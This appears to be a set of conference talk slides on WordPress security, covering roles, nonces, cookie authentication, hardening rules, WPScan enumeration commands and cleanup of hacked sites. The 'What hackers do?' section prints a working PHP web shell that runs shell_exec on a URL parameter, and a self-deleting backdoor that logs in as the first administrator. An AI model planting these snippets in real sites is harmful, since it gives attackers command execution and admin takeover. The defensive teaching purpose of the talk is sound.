Hacking (and secure) a WordPress site!

How to sleep well and not cry in a corner

Created by Daniele Scasciafratte

Hackers are professionals people

Let's start with culture time!

First steps for a normal user

• Password
• Yes a difficult password
• What do you think that an user need?

Often the bugs are in plugins

• Missing sanitizations/escaping
• Features for logged users available to non-logged
• Non-standard
  • UI
  • Custom stuff that doesn't use the WordPress framework
  • Reimplementation of already available WP features
• Also in themes

⚠️What are the capabilities⚠️

WordPress uses a concept of Roles, designed to give the site owner the ability to control what users can and cannot do within the site.
WordPress has six pre-defined roles: Super Admin, Administrator, Editor, Author, Contributor and Subscriber. Each role is allowed to perform a set of tasks called Capabilities.

• WordPress Roles and Capabilities
• User Role Editor plugin
• Missing controls on backend

Golden rules for an administrator

• Block access to wp-admin
• Block File browsing from web servers
• Update always WordPress and plugins
  • Especially premium stuff from marketplaces
• Block comments and other interactions for non-logged users
• Check file permissions
• Ban bots and bad IPs
• Enable protection for brute force
• Remove the user 1 (admin)
• Block XML-RPC/REST API if you don't need
• Evaluate a CDN or static cache
• Implement assets minification
• Remove unused plugins

⚠️ What is a nonce? ⚠️

A nonce (token) is a "number used once" to help protect URLs and forms from certain types of misuse, malicious or otherwise. WordPress nonces aren't numbers but are a hash made up of numbers and letters. Nor are they used only once, but have a limited "lifetime" after which they expire. During that time period, the same nonce will be generated for a given user in a given context. The nonce for that action will remain the same for that user until that nonce life cycle has completed.

• WordPress Nonce
• Used to identify who is the author of the request for capabilities
• Missing nonces or wrongly integrated

⚠️ How WordPress authenticate? ⚠️

It is stateless and does not use “sessions”—it uses session cookies.
It does not save server-side data, everything is stored in session cookies.
Salts hash your password in your cookie.
Authentication cookies can be stolen via XSS.
Sends the session cookie with the httpOnly flag, JavaScript cannot access the session cookie (unless your browser has a major zero-day vulnerability)

Golden rules for an hacker

• Check version of plugins
• Create infected warez version of premium plugins/themes (example)
• Invest a lot of time on admin-ajax.php
  • Generate DDOS
  • Actions for logged/non users
  • Abuse this calls (example, example, example)
• Look for premium plugins not updated
• Look around for XSS
• Check for not defined SALT
• Check for misconfigured web server
• Check if WordPress is not installed

⚠️ Investigate with WordPress Rest API ⚠️

The WordPress REST API provides an interface for applications to interact with your WordPress site by sending and receiving data as JSON (JavaScript Object Notation) objects.

• Rest API Handbook
• Used heavy with Gutenberg blocks
• Gutenberg Drama 2020 Edition – Why WordPress is against the WP.org users
• Your WordPress instance is leaking data (also with Gutenberg)

Tools time

Online tools

• https://sitecheck.sucuri.net
• https://observatory.mozilla.org/
• https://firstsiteguide.com/wordpress-security-online-scanner/
• Speed tester

We are forgetting the real tools

WP CLI Checksum

WPScan/DB

• Enumerate plugins and also versions
  • If exploitable
  • Common misconfiguration
  • Other informations
• Enumerate users
• Brute force usernames
• Request with a long timeout or with throttling
• Random user agent
• Multiple threads

First commands to run

wpscan --url www.example.com
wpscan --url www.example.com --enumerate
					

Only 2 commands are enough to understand if the website is managed with a professional behaviour or not.

WPCS with PHPCS

• Better for developers
• A collection of PHP_CodeSniffer rules (sniffs) to validate code developed for WordPress. It ensures code quality and adherence to coding conventions, especially the official WordPress Coding Standards
• The PHPCompatibility ruleset and its subset PHPCompatibilityWP are highly recommended.

PHPStan

• Better for developers
• Static analysis tool for PHP
• With the WordPress extensions

WP-CLI Snicco/Fortress

• Encrypt values on your DB, like Auth keys
• Write a tiny plugin to decrypt and pass the value decripted
• https://snicco.io/blog/introducing-fortress-vaults-and-pillars

No other cli tools

Fix an hacked website

• Download everything locally
• Download a clean version of
  • WordPress
  • Every plugins
  • Every themes
• Search for php files in wp-content/uploads/*.php
• Search for files with strange date of last edit
• Compare your clean/hacked version with a diff tool
  • Sometimes there are files renamed like class-ftp-inc.php
  • Sometimes there is obfuscated code prepended in few/all the files
• Check if there are new Cron jobs

What hackers do?

What hackers do?

What hackers do?

What hackers do?

Why I want to hack your website?

• Access to Server Resources (mining)
• Ransom (data, files, domain, server)
• Malware (server, visitors)
• Scam
  • Redirects
  • Search Engine Ranking
• Phishing
• SPAM
• Other services in the server
• Fun

Web Shell

function webshell() {
	echo shell_exec($_GET['cmd']);
	die();
}
add_action('wp_head', 'webshell');
					

Backdoor

@unlink(__FILE__);

require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );
    exit();
}
					

How I hacked a course platform

• Bad UX, informing the user of the wrong answer at the course ending
• Save at every request the reply to the answer, not just waiting for the course ending
• Doing a check of every answer at every single answer

CVE Details

Looking at 2022, only 4 vulnerabilities in WordPress compared to 7 of the previous year.

Don't forget that WP has auto updates for minor release (since 3.7) with security bugfixes (for the latest major also with usual bugfixes).

Plugins suggested to improve the security

• iThemes Security
• Wordfence Security

Grazie!

- http://mte90.tech/Talk-Secure-WP
- WordPress Plugin Vulnerabilities by WP Scan
- Exploit for WordPress plugins